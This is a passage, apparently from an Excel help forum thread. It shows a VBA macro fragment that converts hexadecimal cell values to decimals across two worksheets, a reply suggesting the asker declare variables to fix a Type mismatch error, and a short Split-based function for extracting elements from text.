Set dist = .Find("DIST1", LookIn:=xlValues)
If Not dist Is Nothing Then
firstAddress = dist.Address
Do
dist1 = firstAddress
Set dist = .FindNext(dist)
Loop While Not dist Is Nothing And dist.Address <> firstAddress
End If
End With
data_col = ascii.Range(dist1).Column + 5
data_num = ascii.Cells(ncell, data_col).Value
dec_num = CLng("&H" & data_num)
medidas.Range("A" & ncell).Value = dec_num
For counter2 = 1 To data_num
asc_value = ascii.Cells(ncell, data_col + counter2).Value
Dec = CLng("&H" & asc_value)
medidas.Cells(ncell, counter2 + 1).Value = Dec
Next
End Sub
In Column B, there is a function that calculates the number of elements of the data in column A
You need to declare the variables, you are getting a Type mismatch, at least the first needs to be declared.
Function EXTRACTELEMENT(Txt As String, n As Long, Separator As String) As String
EXTRACTELEMENT = Split(Application.Trim(Txt), Separator)(n - 1)
End Function